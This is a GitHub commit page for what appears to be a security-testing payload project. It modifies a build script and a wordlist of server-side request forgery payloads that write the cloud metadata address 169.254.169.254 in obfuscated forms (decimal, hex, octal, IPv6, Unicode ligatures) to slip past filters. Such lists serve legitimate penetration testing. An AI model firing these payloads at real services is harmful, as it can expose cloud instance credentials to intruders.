Skip to content

Commit

Permalink
Build fix
Browse files Browse the repository at this point in the history
  • Loading branch information
d0ge committed Aug 7, 2024
1 parent b350f95 commit a0ea4fd
Show file tree
Hide file tree
Showing 7 changed files with 467 additions and 415 deletions.
13 changes: 9 additions & 4 deletions build.js
Original file line number Diff line number Diff line change
Expand Up @@ -36,7 +36,7 @@ async function validateWordlist(schemaValidator, filePath) {
}

function checkUniqueIds(wordlists) {
const idCounts = wordlists.flatMap(wl => wl.payloads).reduce((acc, { id }) => {
const idCounts = Array.from(wordlists.values()).flatMap(wl => wl.payloads).reduce((acc, { id }) => {
acc[id] = (acc[id] || 0) + 1;
return acc;
}, {});
Expand All @@ -54,7 +54,7 @@ async function aggregateJson() {

const payloadsDir = path.resolve(__dirname, ROOT);
const files = await readdir(payloadsDir);
let wordlists = [];
let wordlists = new Map();

for (const file of files.filter(f => f.endsWith('.json'))) {
const filePath = path.join(payloadsDir, file);
Expand All @@ -63,17 +63,22 @@ async function aggregateJson() {
wordlist.payloads.forEach(element => {
element.id = generateId(element.prefix, element.payload, element.suffix);
});
let sorted = wordlist.payloads.sort((a,b) => a.payload.localeCompare(b.payload));
wordlist.payloads = sorted;

wordlists.push(wordlist);
wordlists.set(file, wordlist);
}

checkUniqueIds(wordlists);

const output = `export const PAYLOADS = ${encodeUnicode(JSON.stringify(wordlists, null, 2))};`;
const distPath = path.join(__dirname, DIST_DIR);
if (!fs.existsSync(distPath)) {
fs.mkdirSync(distPath, { recursive: true });
}
for (const [key, value] of wordlists) {
await writeFile(path.join(distPath, key), encodeUnicode(JSON.stringify(value, null, 2)));
}
const output = `export const PAYLOADS = ${encodeUnicode(JSON.stringify(Array.from(wordlists.values()), null, 2))};`;
await writeFile(path.join(distPath, DIST_FILE), output);
console.log(`Aggregated JSON files into ${path.join(distPath, DIST_FILE)}`);
}
Expand Down
88 changes: 46 additions & 42 deletions src/cloud_metadata_endpoints.json
Original file line number Diff line number Diff line change
Expand Up @@ -2,126 +2,130 @@
"name": "Cloud metadata endpoints",
"payloads": [
{
"payload": "169.254.169.254",
"payload": "::ffff:169.254.169.254",
"prefix": "http://",
"suffix": "/latest/meta-data/",
"description": "Cloud metadata endpoint",
"description": "IPv4 inside IPv6 representation of 169.254.169.254",
"filters": [],
"tags": ["URL", "HOST"],
"id": "0ccb496127f4b822d7284638041456c0cf9903a9"
"id": "bcacc49b27207fcb7575ea180f312635bf411ec5"
},
{
"payload": "169.254.43518",
"payload": "[::ffff:169.254.169.254]",
"prefix": "http://",
"suffix": "/latest/meta-data/",
"description": "Cloud metadata endpoint 2 byte wide decimal",
"description": "IPv4 inside IPv6 representation of 169.254.169.254",
"filters": [],
"tags": ["URL", "HOST"],
"id": "ab702fabd85cab966eed473a26ff030777506d8c"
"id": "b0efd8668d0d5d3841d8a5c2f257b481e59481d1"
},
{
"payload": "2852039166",
"payload": "[::\ufb00\ufb00:a9fe:a9fe]",
"prefix": "http://",
"suffix": "/latest/meta-data/",
"description": "Decimal IP of 169.254.169.254",
"description": "Latin Small Ligature Ff [::ffff:a9fe:a9fe]",
"filters": [],
"tags": ["URL", "HOST"],
"id": "2c1973af9f940eafa8ebf98c195460465526c945"
"id": "be9ac402045f11192b8782cf15e0b0302145ee13"
},
{
"payload": "45801712126",
"payload": "[::FFFF:A9FE:A9FE]",
"prefix": "http://",
"suffix": "/latest/meta-data/",
"description": "Decimal IP of 169.254.169.254 with x10 overflow",
"description": "IPv6 representation of 169.254.169.254",
"filters": [],
"tags": ["URL", "HOST"],
"id": "4ec56b2a29ac77e92f07856ccf340e3560926bb8"
"id": "0be6987d241b20a23e3a79dfd50132f316ffb1f7"
},
{
"payload": "0xA9.0xFE.0xA9.0xFE",
"payload": "[0:0:0:0:0:\ufb00\ufb00:169.254.169.254]",
"prefix": "http://",
"suffix": "/latest/meta-data/",
"description": "Hexadecimal IP of 169.254.169.254",
"description": "Latin Small Ligature Ff [0:0:0:0:0:ffff:169.254.169.254]",
"filters": [],
"tags": ["URL", "HOST"],
"id": "a2f3cc5c8f8d932182dc6ece6612390c8baeabf6"
"id": "ed6207ac50c89c390c04d3b3aaea61823ea11dd6"
},
{
"payload": "0x1A9FEA9FE",
"payload": "[0:0:0:0:0:ffff:a9fe:a9fe]",
"prefix": "http://",
"suffix": "/latest/meta-data/",
"description": "Hexadecimal IP of 169.254.169.254 with overflow",
"description": "Expanded form of [::ffff:a9fe:a9fe]",
"filters": [],
"tags": ["URL", "HOST"],
"id": "50a2bf96e6c8a3c46377030a182c77090b7e415d"
"id": "4f10bf4b85296551464554ad2aaa39df3827403f"
},
{
"payload": "0251.0376.0251.0376",
"payload": "[fd00:ec2::254]",
"prefix": "http://",
"suffix": "/latest/meta-data/",
"description": "Octal IP of 169.254.169.254",
"description": "AWS EC2 IPv6 address https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html",
"filters": [],
"tags": ["URL", "HOST"],
"id": "f5e91dbf51bd94979cbe25df8e9c3a533431a314"
"id": "ac92c17d4e064ceb35f590d7b7d48f0ec71f213b"
},
{
"payload": "[::FFFF:A9FE:A9FE]",
"payload": "0251.0376.0251.0376",
"prefix": "http://",
"suffix": "/latest/meta-data/",
"description": "IPv6 representation of 169.254.169.254",
"description": "Octal IP of 169.254.169.254",
"filters": [],
"tags": ["URL", "HOST"],
"id": "0be6987d241b20a23e3a79dfd50132f316ffb1f7"
"id": "f5e91dbf51bd94979cbe25df8e9c3a533431a314"
},
{
"payload": "[0:0:0:0:0:ffff:a9fe:a9fe]",
"payload": "0x1A9FEA9FE",
"prefix": "http://",
"suffix": "/latest/meta-data/",
"description": "Expanded IPv6 representation of 169.254.169.254",
"description": "Hexadecimal IP of 169.254.169.254 with overflow",
"filters": [],
"tags": ["URL", "HOST"],
"id": "4f10bf4b85296551464554ad2aaa39df3827403f"
"id": "50a2bf96e6c8a3c46377030a182c77090b7e415d"
},
{
"payload": "::ffff:169.254.169.254",
"payload": "0xA9.0xFE.0xA9.0xFE",
"prefix": "http://",
"suffix": "/latest/meta-data/",
"description": "IPv4 inside IPv6 representation of 169.254.169.254",
"description": "Hexadecimal IP of 169.254.169.254",
"filters": [],
"tags": ["URL", "HOST"],
"id": "bcacc49b27207fcb7575ea180f312635bf411ec5"
"id": "a2f3cc5c8f8d932182dc6ece6612390c8baeabf6"
},
{
"payload": "[::ffff:169.254.169.254]",
"payload": "169.254.169.254",
"prefix": "http://",
"suffix": "/latest/meta-data/",
"description": "IPv4 inside IPv6 representation of 169.254.169.254",
"description": "Cloud metadata endpoint",
"filters": [],
"tags": ["URL", "HOST"],
"id": "b0efd8668d0d5d3841d8a5c2f257b481e59481d1"
"id": "0ccb496127f4b822d7284638041456c0cf9903a9"
},
{
"payload": "[fd00:ec2::254]",
"payload": "169.254.43518",
"prefix": "http://",
"suffix": "/latest/meta-data/",
"description": "AWS EC2 IPv6 address https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html",
"description": "Cloud metadata endpoint 2 byte wide decimal",
"filters": [],
"tags": ["URL", "HOST"],
"id": "ac92c17d4e064ceb35f590d7b7d48f0ec71f213b"
"id": "ab702fabd85cab966eed473a26ff030777506d8c"
},
{
"payload": "[::\ufb00\ufb00:a9fe:a9fe]",
"description": "Latin Small Ligature Ff [::ffff:a9fe:a9fe]",
"payload": "2852039166",
"prefix": "http://",
"suffix": "/latest/meta-data/",
"description": "Decimal IP of 169.254.169.254",
"filters": [],
"tags": ["URL", "HOST"],
"id": "4f3ed6fdd47b1b740ae57f322237084ba722c4d4"
"id": "2c1973af9f940eafa8ebf98c195460465526c945"
},
{
"payload": "[0:0:0:0:0:\ufb00\ufb00:169.254.169.254]",
"description": "Latin Small Ligature Ff [0:0:0:0:0:ffff:169.254.169.254]",
"payload": "45801712126",
"prefix": "http://",
"suffix": "/latest/meta-data/",
"description": "Decimal IP of 169.254.169.254 with x10 overflow",
"filters": [],
"tags": ["URL", "HOST"],
"id": "ce814c104d5662d95e41c6175ebd0052f2f44aa7"
"id": "4ec56b2a29ac77e92f07856ccf340e3560926bb8"
}
]
}
Loading

0 comments on commit a0ea4fd

Please sign in to comment.